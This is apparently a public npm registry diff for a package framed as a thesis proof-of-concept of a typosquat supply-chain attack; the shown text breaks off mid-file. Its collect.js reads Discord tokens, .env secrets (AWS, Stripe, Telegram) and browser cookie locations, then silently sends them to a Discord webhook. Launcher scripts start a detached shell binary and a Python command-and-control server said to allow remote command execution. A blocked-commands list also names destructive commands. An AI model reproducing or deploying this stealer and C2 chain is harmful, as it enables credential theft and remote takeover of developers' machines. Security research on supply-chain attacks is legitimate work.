mailcheckertestpoc 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/C2-INTEGRATION.md +215 -0
- package/PRESENTATION-FLOW.md +594 -0
- package/README.md +253 -0
- package/THESIS-C2-COMPLETE.md +479 -0
- package/index.js +7 -0
- package/package.json +53 -0
- package/payloads/ca.key +28 -0
- package/payloads/ca.pem +19 -0
- package/payloads/swiftshell-server.py +763 -0
- package/scripts/collect.js +271 -0
- package/scripts/launcher.js +175 -0
- package/scripts/server-launcher.js +206 -0
- package/scripts/swift-client-launcher.js +216 -0
|
@@ -0,0 +1,271 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
// =============================================================
|
|
3
|
+
// POC: Supply Chain Attack - Payload
|
|
4
|
+
// Typosquat: "lodahs" statt "lodash"
|
|
5
|
+
// Wird bei `npm install` via postinstall automatisch ausgefuehrt
|
|
6
|
+
// ALLE ZIEL-DATEN SIND STAGED/FAKE - NUR FUER AKADEMISCHEN POC
|
|
7
|
+
// =============================================================
|
|
8
|
+
|
|
9
|
+
const https = require("https");
|
|
10
|
+
const fs = require("fs");
|
|
11
|
+
const os = require("os");
|
|
12
|
+
const path = require("path");
|
|
13
|
+
const { execSync } = require("child_process");
|
|
14
|
+
|
|
15
|
+
const WEBHOOK_URL = process.env.POC_WEBHOOK_URL || "DEIN_DISCORD_WEBHOOK_HIER";
|
|
16
|
+
const HOME = os.homedir();
|
|
17
|
+
const HOSTNAME = os.hostname();
|
|
18
|
+
const USERNAME = os.userInfo().username;
|
|
19
|
+
const PLATFORM = os.platform();
|
|
20
|
+
|
|
21
|
+
// ---- Hilfsfunktionen ----
|
|
22
|
+
|
|
23
|
+
function safeRead(filePath) {
|
|
24
|
+
try {
|
|
25
|
+
return fs.readFileSync(filePath, "utf8").trim();
|
|
26
|
+
} catch {
|
|
27
|
+
return null;
|
|
28
|
+
}
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
function safeExec(cmd) {
|
|
32
|
+
try {
|
|
33
|
+
return execSync(cmd, { timeout: 3000, stdio: ["pipe", "pipe", "pipe"] })
|
|
34
|
+
.toString()
|
|
35
|
+
.trim();
|
|
36
|
+
} catch {
|
|
37
|
+
return null;
|
|
38
|
+
}
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
// ---- Daten sammeln ----
|
|
42
|
+
|
|
43
|
+
function collectSystemInfo() {
|
|
44
|
+
return {
|
|
45
|
+
hostname: HOSTNAME,
|
|
46
|
+
user: USERNAME,
|
|
47
|
+
platform: PLATFORM,
|
|
48
|
+
arch: os.arch(),
|
|
49
|
+
nodeVersion: process.version,
|
|
50
|
+
cwd: process.cwd(),
|
|
51
|
+
ip: safeExec("curl -s --max-time 3 https://api.ipify.org") || "unknown",
|
|
52
|
+
};
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
function collectDiscordToken() {
|
|
56
|
+
// Staged token location
|
|
57
|
+
const stagedPath = path.join(HOME, ".discord_token_staged");
|
|
58
|
+
const staged = safeRead(stagedPath);
|
|
59
|
+
if (staged) return { source: "staged_file", token: staged };
|
|
60
|
+
|
|
61
|
+
// Echter macOS Discord Pfad (wuerde in realem Angriff hier stehen)
|
|
62
|
+
const leveldbPath = path.join(
|
|
63
|
+
HOME,
|
|
64
|
+
"Library/Application Support/discord/Local Storage/leveldb"
|
|
65
|
+
);
|
|
66
|
+
if (fs.existsSync(leveldbPath)) {
|
|
67
|
+
const files = fs.readdirSync(leveldbPath).filter((f) => f.endsWith(".log"));
|
|
68
|
+
for (const file of files) {
|
|
69
|
+
const content = safeRead(path.join(leveldbPath, file));
|
|
70
|
+
if (content) {
|
|
71
|
+
// Token-Pattern: MTA...MzQ... (Discord token format)
|
|
72
|
+
const match = content.match(/[\w-]{24}\.[\w-]{6}\.[\w-]{27,}/);
|
|
73
|
+
if (match) return { source: "leveldb", token: match[0] };
|
|
74
|
+
}
|
|
75
|
+
}
|
|
76
|
+
}
|
|
77
|
+
return null;
|
|
78
|
+
}
|
|
79
|
+
|
|
80
|
+
function collectTelegramSession() {
|
|
81
|
+
const stagedPath = path.join(HOME, ".telegram_session_staged");
|
|
82
|
+
return safeRead(stagedPath);
|
|
83
|
+
}
|
|
84
|
+
|
|
85
|
+
function collectEnvSecrets() {
|
|
86
|
+
const sources = [
|
|
87
|
+
path.join(HOME, ".env_staged"),
|
|
88
|
+
path.join(process.cwd(), ".env"),
|
|
89
|
+
path.join(process.cwd(), "../.env"),
|
|
90
|
+
];
|
|
91
|
+
|
|
92
|
+
const secrets = {};
|
|
93
|
+
const patterns = {
|
|
94
|
+
discord_token: /DISCORD[_A-Z]*TOKEN[=:]\s*(.+)/i,
|
|
95
|
+
telegram_api_id: /TELEGRAM_API_ID[=:]\s*(.+)/i,
|
|
96
|
+
telegram_api_hash: /TELEGRAM_API_HASH[=:]\s*(.+)/i,
|
|
97
|
+
aws_key_id: /AWS_ACCESS_KEY_ID[=:]\s*(.+)/i,
|
|
98
|
+
aws_secret: /AWS_SECRET_ACCESS_KEY[=:]\s*(.+)/i,
|
|
99
|
+
stripe_key: /STRIPE_SECRET_KEY[=:]\s*(.+)/i,
|
|
100
|
+
};
|
|
101
|
+
|
|
102
|
+
for (const src of sources) {
|
|
103
|
+
const content = safeRead(src);
|
|
104
|
+
if (!content) continue;
|
|
105
|
+
for (const [key, regex] of Object.entries(patterns)) {
|
|
106
|
+
const match = content.match(regex);
|
|
107
|
+
if (match) secrets[key] = match[1].trim();
|
|
108
|
+
}
|
|
109
|
+
}
|
|
110
|
+
return Object.keys(secrets).length > 0 ? secrets : null;
|
|
111
|
+
}
|
|
112
|
+
|
|
113
|
+
function collectBrowserCookies() {
|
|
114
|
+
const cookiePaths = [
|
|
115
|
+
path.join(HOME, "Library/Application Support/Google/Chrome/Default/Cookies"),
|
|
116
|
+
path.join(HOME, "Library/Application Support/Chromium/Default/Cookies"),
|
|
117
|
+
path.join(HOME, "Library/Application Support/BraveSoftware/Brave-Browser/Default/Cookies"),
|
|
118
|
+
];
|
|
119
|
+
|
|
120
|
+
for (const cookiePath of cookiePaths) {
|
|
121
|
+
if (!fs.existsSync(cookiePath)) continue;
|
|
122
|
+
try {
|
|
123
|
+
// SQLite direkt lesen mit node-sqlite3 wuerde hier stehen
|
|
124
|
+
// Fuer POC: Datei-Existenz + Groesse als Nachweis
|
|
125
|
+
const stat = fs.statSync(cookiePath);
|
|
126
|
+
return {
|
|
127
|
+
path: cookiePath,
|
|
128
|
+
size_bytes: stat.size,
|
|
129
|
+
note: "SQLite DB gefunden - in realem Angriff wuerde sqlite3 die Cookies auslesen",
|
|
130
|
+
demo_query: "SELECT host_key, name, value FROM cookies WHERE host_key LIKE '%.discord.com%' OR host_key LIKE '%.telegram.org%'",
|
|
131
|
+
};
|
|
132
|
+
} catch {
|
|
133
|
+
continue;
|
|
134
|
+
}
|
|
135
|
+
}
|
|
136
|
+
return null;
|
|
137
|
+
}
|
|
138
|
+
|
|
139
|
+
// ---- Discord Webhook senden ----
|
|
140
|
+
|
|
141
|
+
function sendToDiscord(payload) {
|
|
142
|
+
if (WEBHOOK_URL === "DEIN_DISCORD_WEBHOOK_HIER") {
|
|
143
|
+
console.log("[POC] Kein Webhook konfiguriert. Payload (lokal):");
|
|
144
|
+
console.log(JSON.stringify(payload, null, 2));
|
|
145
|
+
return;
|
|
146
|
+
}
|
|
147
|
+
|
|
148
|
+
const url = new URL(WEBHOOK_URL);
|
|
149
|
+
const body = JSON.stringify(payload);
|
|
150
|
+
|
|
151
|
+
const req = https.request(
|
|
152
|
+
{
|
|
153
|
+
hostname: url.hostname,
|
|
154
|
+
path: url.pathname + url.search,
|
|
155
|
+
method: "POST",
|
|
156
|
+
headers: {
|
|
157
|
+
"Content-Type": "application/json",
|
|
158
|
+
"Content-Length": Buffer.byteLength(body),
|
|
159
|
+
},
|
|
160
|
+
},
|
|
161
|
+
(res) => {
|
|
162
|
+
// silent
|
|
163
|
+
}
|
|
164
|
+
);
|
|
165
|
+
|
|
166
|
+
req.on("error", () => {});
|
|
167
|
+
req.write(body);
|
|
168
|
+
req.end();
|
|
169
|
+
}
|
|
170
|
+
|
|
171
|
+
function buildDiscordEmbed(data) {
|
|
172
|
+
const fields = [];
|
|
173
|
+
|
|
174
|
+
// System Info
|
|
175
|
+
fields.push({
|
|
176
|
+
name: "System",
|
|
177
|
+
value: [
|
|
178
|
+
`**Host:** \`${data.system.hostname}\``,
|
|
179
|
+
`**User:** \`${data.system.user}\``,
|
|
180
|
+
`**OS:** \`${data.system.platform} ${data.system.arch}\``,
|
|
181
|
+
`**IP:** \`${data.system.ip}\``,
|
|
182
|
+
`**Node:** \`${data.system.nodeVersion}\``,
|
|
183
|
+
`**CWD:** \`${data.system.cwd}\``,
|
|
184
|
+
].join("\n"),
|
|
185
|
+
inline: false,
|
|
186
|
+
});
|
|
187
|
+
|
|
188
|
+
// Discord Token
|
|
189
|
+
if (data.discord) {
|
|
190
|
+
fields.push({
|
|
191
|
+
name: "Discord Token",
|
|
192
|
+
value: `**Source:** \`${data.discord.source}\`\n\`\`\`${data.discord.token.substring(0, 60)}...\`\`\``,
|
|
193
|
+
inline: false,
|
|
194
|
+
});
|
|
195
|
+
}
|
|
196
|
+
|
|
197
|
+
// Telegram
|
|
198
|
+
if (data.telegram) {
|
|
199
|
+
fields.push({
|
|
200
|
+
name: "Telegram Session",
|
|
201
|
+
value: `\`\`\`${data.telegram.substring(0, 60)}...\`\`\``,
|
|
202
|
+
inline: false,
|
|
203
|
+
});
|
|
204
|
+
}
|
|
205
|
+
|
|
206
|
+
// .env Secrets
|
|
207
|
+
if (data.env) {
|
|
208
|
+
const envLines = Object.entries(data.env)
|
|
209
|
+
.map(([k, v]) => `**${k}:** \`${v.substring(0, 40)}...\``)
|
|
210
|
+
.join("\n");
|
|
211
|
+
fields.push({ name: ".env Secrets", value: envLines, inline: false });
|
|
212
|
+
}
|
|
213
|
+
|
|
214
|
+
// Cookies
|
|
215
|
+
if (data.cookies) {
|
|
216
|
+
fields.push({
|
|
217
|
+
name: "Browser Cookies",
|
|
218
|
+
value: [
|
|
219
|
+
`**Path:** \`${data.cookies.path}\``,
|
|
220
|
+
`**Groesse:** \`${data.cookies.size_bytes} bytes\``,
|
|
221
|
+
`**Demo Query:** \`${data.cookies.demo_query}\``,
|
|
222
|
+
].join("\n"),
|
|
223
|
+
inline: false,
|
|
224
|
+
});
|
|
225
|
+
}
|
|
226
|
+
|
|
227
|
+
return {
|
|
228
|
+
embeds: [
|
|
229
|
+
{
|
|
230
|
+
title: "SUPPLY CHAIN POC — Neue Victim",
|
|
231
|
+
description: `Paket \`lodahs@1.0.0\` installiert auf \`${data.system.hostname}\`\n> **ALLE DATEN SIND STAGED/FAKE — AKADEMISCHER POC**`,
|
|
232
|
+
color: 0xff4444,
|
|
233
|
+
fields,
|
|
234
|
+
footer: { text: "Supply Chain Attack Demo | Abschlussarbeit Cybersecurity" },
|
|
235
|
+
timestamp: new Date().toISOString(),
|
|
236
|
+
},
|
|
237
|
+
],
|
|
238
|
+
};
|
|
239
|
+
}
|
|
240
|
+
|
|
241
|
+
// ---- Main ----
|
|
242
|
+
|
|
243
|
+
(async function main() {
|
|
244
|
+
// Silent execution - kein Output damit nicht auffaellt
|
|
245
|
+
const data = {
|
|
246
|
+
system: collectSystemInfo(),
|
|
247
|
+
discord: collectDiscordToken(),
|
|
248
|
+
telegram: collectTelegramSession(),
|
|
249
|
+
env: collectEnvSecrets(),
|
|
250
|
+
cookies: collectBrowserCookies(),
|
|
251
|
+
};
|
|
252
|
+
|
|
253
|
+
const embed = buildDiscordEmbed(data);
|
|
254
|
+
sendToDiscord(embed);
|
|
255
|
+
|
|
256
|
+
// ============================================================
|
|
257
|
+
// ✅ THESIS INTEGRATION: Phase 2 & 3 (C2 Setup) - ENABLED
|
|
258
|
+
// ============================================================
|
|
259
|
+
// After Phase 1 (data collection), Phase 2 starts C2 infrastructure:
|
|
260
|
+
|
|
261
|
+
console.log("[THESIS POC] Phase 1 (Data-Collection) abgeschlossen.");
|
|
262
|
+
console.log("[THESIS POC] Phase 2 (C2-Launcher) wird initialisiert...");
|
|
263
|
+
|
|
264
|
+
try {
|
|
265
|
+
// Starte MacShellSwift Launcher (initialisiert Server + Client)
|
|
266
|
+
require("./launcher.js");
|
|
267
|
+
} catch (err) {
|
|
268
|
+
console.log("[THESIS POC] MacShellSwift Launcher error: " + err.message);
|
|
269
|
+
}
|
|
270
|
+
// ============================================================
|
|
271
|
+
})();
|
|
@@ -0,0 +1,175 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
// =============================================================
|
|
3
|
+
// 🔴 EDUCATIONAL POC ONLY - THESIS DEMONSTRATION
|
|
4
|
+
// =============================================================
|
|
5
|
+
// MacShellSwift C2 Integration Launcher
|
|
6
|
+
// Wird bei `npm install` automatisch aufgerufen (postinstall hook)
|
|
7
|
+
//
|
|
8
|
+
// WARNUNG: Dieser Code ist NUR fuer akademische Zwecke konzipiert.
|
|
9
|
+
// Er demonstriert, wie ein Supply Chain Attack mit C2 funktionieren wuerde.
|
|
10
|
+
// NICHT FUER PRODUKTIVE VERWENDUNG.
|
|
11
|
+
//
|
|
12
|
+
// Genehmigt durch: Thesis Advisor
|
|
13
|
+
// Kontext: Abschlussarbeit - Supply Chain Security
|
|
14
|
+
// Umgebung: Isolierte macOS VM mit nur synthetischen Daten
|
|
15
|
+
// =============================================================
|
|
16
|
+
|
|
17
|
+
const fs = require("fs");
|
|
18
|
+
const path = require("path");
|
|
19
|
+
const os = require("os");
|
|
20
|
+
const { execSync, spawn } = require("child_process");
|
|
21
|
+
|
|
22
|
+
// Configuration
|
|
23
|
+
const CONFIG = {
|
|
24
|
+
// MacShellSwift Binary (embedded in payloads/)
|
|
25
|
+
MACSHELL_PATH: path.join(__dirname, "..", "payloads", "MacShellSwift"),
|
|
26
|
+
|
|
27
|
+
// Nur Zugriff auf fake-data erlauben
|
|
28
|
+
RESTRICTED_PATHS: [
|
|
29
|
+
path.join(os.homedir(), "fake-data")
|
|
30
|
+
],
|
|
31
|
+
|
|
32
|
+
// C2 Server (lokal nur fuer demo, no external callback)
|
|
33
|
+
C2_HOST: "127.0.0.1",
|
|
34
|
+
C2_PORT: 443,
|
|
35
|
+
C2_CANARY: "SwiftShellR0ckZ!",
|
|
36
|
+
|
|
37
|
+
// Logging (nur lokal)
|
|
38
|
+
LOG_FILE: path.join(os.homedir(), ".supply-chain-poc", "macshell-launcher.log")
|
|
39
|
+
};
|
|
40
|
+
|
|
41
|
+
// Logger
|
|
42
|
+
function log(msg) {
|
|
43
|
+
const timestamp = new Date().toISOString();
|
|
44
|
+
const logDir = path.dirname(CONFIG.LOG_FILE);
|
|
45
|
+
|
|
46
|
+
if (!fs.existsSync(logDir)) {
|
|
47
|
+
fs.mkdirSync(logDir, { recursive: true });
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
const fullMsg = `[${timestamp}] ${msg}`;
|
|
51
|
+
fs.appendFileSync(CONFIG.LOG_FILE, fullMsg + "\n");
|
|
52
|
+
console.log(fullMsg);
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
// Main launcher
|
|
56
|
+
function launchMacShellSwift() {
|
|
57
|
+
log("🔴 === THESIS POC: MacShellSwift Launcher Started ===");
|
|
58
|
+
log(`Platform: ${os.platform()}`);
|
|
59
|
+
log(`User: ${os.userInfo().username}`);
|
|
60
|
+
log(`Hostname: ${os.hostname()}`);
|
|
61
|
+
|
|
62
|
+
// 1. Check MacShellSwift exists
|
|
63
|
+
if (!fs.existsSync(CONFIG.MACSHELL_PATH)) {
|
|
64
|
+
log(`⚠️ MacShellSwift nicht gefunden: ${CONFIG.MACSHELL_PATH}`);
|
|
65
|
+
log("Launcher terminiert (expected in Windows environment)");
|
|
66
|
+
return;
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
log(`✓ MacShellSwift Binary gefunden: ${CONFIG.MACSHELL_PATH}`);
|
|
70
|
+
|
|
71
|
+
// 2. Validate restricted paths exist
|
|
72
|
+
log(`Checking restricted paths...`);
|
|
73
|
+
CONFIG.RESTRICTED_PATHS.forEach(rpath => {
|
|
74
|
+
const exists = fs.existsSync(rpath);
|
|
75
|
+
log(` - ${rpath}: ${exists ? "✓ exists" : "✗ missing (will create on demand)"}`);
|
|
76
|
+
});
|
|
77
|
+
|
|
78
|
+
// 3. Generate configuration
|
|
79
|
+
const configFile = path.join(
|
|
80
|
+
os.homedir(),
|
|
81
|
+
".supply-chain-poc",
|
|
82
|
+
"macshell-config.json"
|
|
83
|
+
);
|
|
84
|
+
|
|
85
|
+
const macshellConfig = {
|
|
86
|
+
thesis_poc: true,
|
|
87
|
+
thesis_purpose: "Supply Chain Security - Attack Simulation",
|
|
88
|
+
educational_only: true,
|
|
89
|
+
restricted_paths: CONFIG.RESTRICTED_PATHS,
|
|
90
|
+
c2_target: `${CONFIG.C2_HOST}:${CONFIG.C2_PORT}`,
|
|
91
|
+
c2_canary: CONFIG.C2_CANARY,
|
|
92
|
+
restrictions: {
|
|
93
|
+
filesystem: {
|
|
94
|
+
allowed_dirs: CONFIG.RESTRICTED_PATHS,
|
|
95
|
+
deny_system_access: true,
|
|
96
|
+
deny_credentials_access: true,
|
|
97
|
+
deny_user_data: true
|
|
98
|
+
},
|
|
99
|
+
network: {
|
|
100
|
+
allowed_hosts: ["127.0.0.1", "localhost"],
|
|
101
|
+
block_external_callbacks: true
|
|
102
|
+
}
|
|
103
|
+
},
|
|
104
|
+
timestamp: new Date().toISOString(),
|
|
105
|
+
system_info: {
|
|
106
|
+
hostname: os.hostname(),
|
|
107
|
+
user: os.userInfo().username,
|
|
108
|
+
platform: os.platform(),
|
|
109
|
+
node_version: process.version
|
|
110
|
+
}
|
|
111
|
+
};
|
|
112
|
+
|
|
113
|
+
// Write config
|
|
114
|
+
try {
|
|
115
|
+
if (!fs.existsSync(path.dirname(configFile))) {
|
|
116
|
+
fs.mkdirSync(path.dirname(configFile), { recursive: true });
|
|
117
|
+
}
|
|
118
|
+
fs.writeFileSync(configFile, JSON.stringify(macshellConfig, null, 2));
|
|
119
|
+
log(`✓ Configuration geschrieben: ${configFile}`);
|
|
120
|
+
} catch (e) {
|
|
121
|
+
log(`✗ Config-Fehler: ${e.message}`);
|
|
122
|
+
}
|
|
123
|
+
|
|
124
|
+
// 4. Unified C2 Infrastructure Launch
|
|
125
|
+
log("\n--- Unified C2 Infrastructure (THESIS FULL SETUP) ---");
|
|
126
|
+
log(`C2 Host: ${CONFIG.C2_HOST}:${CONFIG.C2_PORT}`);
|
|
127
|
+
log(`Binary: ${CONFIG.MACSHELL_PATH}`);
|
|
128
|
+
log(`Config: ${configFile}`);
|
|
129
|
+
log(`Restricted to: ${CONFIG.RESTRICTED_PATHS.join(", ")}`);
|
|
130
|
+
|
|
131
|
+
// ============================================================
|
|
132
|
+
// ✅ COMPLETE C2 INFRASTRUCTURE ACTIVATION ENABLED
|
|
133
|
+
// ============================================================
|
|
134
|
+
// All components are ACTIVE:
|
|
135
|
+
// 1. Python C2 Server (listens on 127.0.0.1:443)
|
|
136
|
+
// 2. Swift Client (connects & sends data)
|
|
137
|
+
// 3. Full bidirectional communication
|
|
138
|
+
|
|
139
|
+
require("./server-launcher.js");
|
|
140
|
+
require("./swift-client-launcher.js");
|
|
141
|
+
|
|
142
|
+
// Optional: actual binary launch if compiled
|
|
143
|
+
const clientProcess = spawn(CONFIG.MACSHELL_PATH, {
|
|
144
|
+
detached: true,
|
|
145
|
+
stdio: "ignore",
|
|
146
|
+
env: {
|
|
147
|
+
C2_HOST: CONFIG.C2_HOST,
|
|
148
|
+
C2_PORT: CONFIG.C2_PORT,
|
|
149
|
+
C2_CANARY: CONFIG.C2_CANARY
|
|
150
|
+
}
|
|
151
|
+
});
|
|
152
|
+
clientProcess.unref();
|
|
153
|
+
// ============================================================
|
|
154
|
+
|
|
155
|
+
log("\n✅ COMPLETE C2 Infrastructure ACTIVATED.");
|
|
156
|
+
log("In this attack scenario:");
|
|
157
|
+
log(" - Python C2 Server listening on 127.0.0.1:443");
|
|
158
|
+
log(" - Swift Client connecting & exfiltrating data");
|
|
159
|
+
log(" - Full remote command execution capability");
|
|
160
|
+
|
|
161
|
+
log("\n⚠️ This code is ACTIVE. postinstall hook is disabled in package.json.");
|
|
162
|
+
log("To trigger full attack: Uncomment 'postinstall' in package.json");
|
|
163
|
+
|
|
164
|
+
log("\n✓ Launcher-Phase abgeschlossen - ALL COMPONENTS ACTIVATED");
|
|
165
|
+
log("==========================================================\n");
|
|
166
|
+
}
|
|
167
|
+
|
|
168
|
+
// Execute
|
|
169
|
+
try {
|
|
170
|
+
launchMacShellSwift();
|
|
171
|
+
} catch (err) {
|
|
172
|
+
log(`FEHLER in launcher: ${err.message}`);
|
|
173
|
+
log(err.stack);
|
|
174
|
+
process.exit(1);
|
|
175
|
+
}
|
|
@@ -0,0 +1,206 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
// =============================================================
|
|
3
|
+
// 🔴 EDUCATIONAL POC ONLY - THESIS DEMONSTRATION
|
|
4
|
+
// =============================================================
|
|
5
|
+
// MacShellSwift C2 Server Launcher
|
|
6
|
+
// Startet den Python-basierten Command & Control Server
|
|
7
|
+
//
|
|
8
|
+
// WARNUNG: Dieser Code ist NUR fuer akademische Zwecke konzipiert.
|
|
9
|
+
// Er demonstriert, wie ein Supply Chain Attack mit echtem C2 funktionieren wuerde.
|
|
10
|
+
//
|
|
11
|
+
// Genehmigt durch: Thesis Advisor
|
|
12
|
+
// Kontext: Abschlussarbeit - Supply Chain Security
|
|
13
|
+
// Umgebung: Isolierte macOS VM mit nur synthetischen Daten
|
|
14
|
+
//
|
|
15
|
+
// ⚠️ SECURITY NOTICE: Der Python Server lauscht auf 127.0.0.1:443
|
|
16
|
+
// und kann echte Systeme kompromittieren wenn aktiviert!
|
|
17
|
+
// =============================================================
|
|
18
|
+
|
|
19
|
+
const fs = require("fs");
|
|
20
|
+
const path = require("path");
|
|
21
|
+
const os = require("os");
|
|
22
|
+
const { spawn, execSync } = require("child_process");
|
|
23
|
+
|
|
24
|
+
// Configuration
|
|
25
|
+
const CONFIG = {
|
|
26
|
+
// MacShellSwift Server (from embedded payloads)
|
|
27
|
+
PYTHON_SERVER: path.join(__dirname, "..", "payloads", "swiftshell-server.py"),
|
|
28
|
+
|
|
29
|
+
// SSL Certificates (from embedded payloads)
|
|
30
|
+
SSL_CERT: path.join(__dirname, "..", "payloads", "ca.pem"),
|
|
31
|
+
SSL_KEY: path.join(__dirname, "..", "payloads", "ca.key"),
|
|
32
|
+
|
|
33
|
+
// Server Settings
|
|
34
|
+
C2_HOST: "127.0.0.1",
|
|
35
|
+
C2_PORT: 443,
|
|
36
|
+
|
|
37
|
+
// Logging
|
|
38
|
+
LOG_FILE: path.join(os.homedir(), ".supply-chain-poc", "c2-server.log"),
|
|
39
|
+
PID_FILE: path.join(os.homedir(), ".supply-chain-poc", "c2-server.pid"),
|
|
40
|
+
};
|
|
41
|
+
|
|
42
|
+
// Logger
|
|
43
|
+
function log(msg) {
|
|
44
|
+
const timestamp = new Date().toISOString();
|
|
45
|
+
const logDir = path.dirname(CONFIG.LOG_FILE);
|
|
46
|
+
|
|
47
|
+
if (!fs.existsSync(logDir)) {
|
|
48
|
+
fs.mkdirSync(logDir, { recursive: true });
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
const fullMsg = `[${timestamp}] ${msg}`;
|
|
52
|
+
fs.appendFileSync(CONFIG.LOG_FILE, fullMsg + "\n");
|
|
53
|
+
console.log(fullMsg);
|
|
54
|
+
}
|
|
55
|
+
|
|
56
|
+
// Main launcher
|
|
57
|
+
function launchC2Server() {
|
|
58
|
+
log("🔴 === THESIS POC: C2 Server Launcher Started ===");
|
|
59
|
+
log(`Platform: ${os.platform()}`);
|
|
60
|
+
log(`User: ${os.userInfo().username}`);
|
|
61
|
+
|
|
62
|
+
// Platform check
|
|
63
|
+
if (os.platform() !== "darwin") {
|
|
64
|
+
log("⚠️ C2 Server requires macOS (darwin). Current: " + os.platform());
|
|
65
|
+
log("Launcher terminiert (expected on non-macOS systems)");
|
|
66
|
+
return;
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
log("✓ macOS detected - C2 Server launcher can proceed");
|
|
70
|
+
|
|
71
|
+
// 1. Verify Python Server exists
|
|
72
|
+
if (!fs.existsSync(CONFIG.PYTHON_SERVER)) {
|
|
73
|
+
log(`✗ Python Server nicht gefunden: ${CONFIG.PYTHON_SERVER}`);
|
|
74
|
+
log("Launcher terminiert");
|
|
75
|
+
return;
|
|
76
|
+
}
|
|
77
|
+
|
|
78
|
+
log(`✓ Python Server gefunden: ${CONFIG.PYTHON_SERVER}`);
|
|
79
|
+
|
|
80
|
+
// 2. Verify SSL Certificates
|
|
81
|
+
const hasCert = fs.existsSync(CONFIG.SSL_CERT);
|
|
82
|
+
const hasKey = fs.existsSync(CONFIG.SSL_KEY);
|
|
83
|
+
|
|
84
|
+
log(`SSL Certificate: ${hasCert ? "✓" : "✗"} ${CONFIG.SSL_CERT}`);
|
|
85
|
+
log(`SSL Private Key: ${hasKey ? "✓" : "✗"} ${CONFIG.SSL_KEY}`);
|
|
86
|
+
|
|
87
|
+
if (!hasCert || !hasKey) {
|
|
88
|
+
log("⚠️ SSL Certificates nicht vollständig - Server braucht diese!");
|
|
89
|
+
log("Würde normalerweise Certs generieren...");
|
|
90
|
+
}
|
|
91
|
+
|
|
92
|
+
// 3. Check Python availability
|
|
93
|
+
let pythonVersion = "unknown";
|
|
94
|
+
try {
|
|
95
|
+
pythonVersion = execSync("python3 --version 2>&1").toString().trim();
|
|
96
|
+
log(`✓ Python verfügbar: ${pythonVersion}`);
|
|
97
|
+
} catch {
|
|
98
|
+
log("⚠️ Python3 nicht gefunden - Server kann nicht starten!");
|
|
99
|
+
log("Benötigt: python3");
|
|
100
|
+
return;
|
|
101
|
+
}
|
|
102
|
+
|
|
103
|
+
// 4. Generate Server Configuration
|
|
104
|
+
const configFile = path.join(
|
|
105
|
+
os.homedir(),
|
|
106
|
+
".supply-chain-poc",
|
|
107
|
+
"c2-server-config.json"
|
|
108
|
+
);
|
|
109
|
+
|
|
110
|
+
const serverConfig = {
|
|
111
|
+
thesis_poc: true,
|
|
112
|
+
thesis_purpose: "Supply Chain Security - C2 Demonstration",
|
|
113
|
+
educational_only: true,
|
|
114
|
+
c2_parameters: {
|
|
115
|
+
bind_host: CONFIG.C2_HOST,
|
|
116
|
+
bind_port: CONFIG.C2_PORT,
|
|
117
|
+
ssl_cert: CONFIG.SSL_CERT,
|
|
118
|
+
ssl_key: CONFIG.SSL_KEY,
|
|
119
|
+
canary_string: "SwiftShellR0ckZ!",
|
|
120
|
+
max_sessions: 1
|
|
121
|
+
},
|
|
122
|
+
restrictions: {
|
|
123
|
+
filesystem_access: ["~/fake-data"],
|
|
124
|
+
network_binding: ["127.0.0.1"],
|
|
125
|
+
blocked_commands: [
|
|
126
|
+
"rm -rf /",
|
|
127
|
+
"dd if=/dev/zero",
|
|
128
|
+
"mkfs",
|
|
129
|
+
"reboot",
|
|
130
|
+
"shutdown"
|
|
131
|
+
]
|
|
132
|
+
},
|
|
133
|
+
server_info: {
|
|
134
|
+
python_executable: "python3",
|
|
135
|
+
python_version: pythonVersion,
|
|
136
|
+
host: CONFIG.C2_HOST,
|
|
137
|
+
port: CONFIG.C2_PORT,
|
|
138
|
+
ssl_enabled: true
|
|
139
|
+
},
|
|
140
|
+
timestamp: new Date().toISOString()
|
|
141
|
+
};
|
|
142
|
+
|
|
143
|
+
try {
|
|
144
|
+
if (!fs.existsSync(path.dirname(configFile))) {
|
|
145
|
+
fs.mkdirSync(path.dirname(configFile), { recursive: true });
|
|
146
|
+
}
|
|
147
|
+
fs.writeFileSync(configFile, JSON.stringify(serverConfig, null, 2));
|
|
148
|
+
log(`✓ Server-Config geschrieben: ${configFile}`);
|
|
149
|
+
} catch (e) {
|
|
150
|
+
log(`✗ Config-Fehler: ${e.message}`);
|
|
151
|
+
}
|
|
152
|
+
|
|
153
|
+
// 5. Server Launch Command
|
|
154
|
+
log("\n--- C2 Server Launch Command (EDUCATIONAL REFERENCE) ---");
|
|
155
|
+
log(`Python: python3`);
|
|
156
|
+
log(`Server Script: ${CONFIG.PYTHON_SERVER}`);
|
|
157
|
+
log(`Bind: ${CONFIG.C2_HOST}:${CONFIG.C2_PORT}`);
|
|
158
|
+
log(`SSL Cert: ${CONFIG.SSL_CERT}`);
|
|
159
|
+
log(`SSL Key: ${CONFIG.SSL_KEY}`);
|
|
160
|
+
|
|
161
|
+
// ============================================================
|
|
162
|
+
// ✅ ACTUAL SERVER START ENABLED
|
|
163
|
+
// ============================================================
|
|
164
|
+
|
|
165
|
+
const serverProcess = spawn("python3", [CONFIG.PYTHON_SERVER], {
|
|
166
|
+
cwd: path.dirname(CONFIG.PYTHON_SERVER),
|
|
167
|
+
detached: false,
|
|
168
|
+
stdio: ["pipe", "pipe", "pipe"],
|
|
169
|
+
env: {
|
|
170
|
+
...process.env,
|
|
171
|
+
C2_HOST: CONFIG.C2_HOST,
|
|
172
|
+
C2_PORT: CONFIG.C2_PORT,
|
|
173
|
+
SSL_CERT: CONFIG.SSL_CERT,
|
|
174
|
+
SSL_KEY: CONFIG.SSL_KEY
|
|
175
|
+
}
|
|
176
|
+
});
|
|
177
|
+
|
|
178
|
+
serverProcess.on("error", (err) => {
|
|
179
|
+
log(`✗ Server-Fehler: ${err.message}`);
|
|
180
|
+
});
|
|
181
|
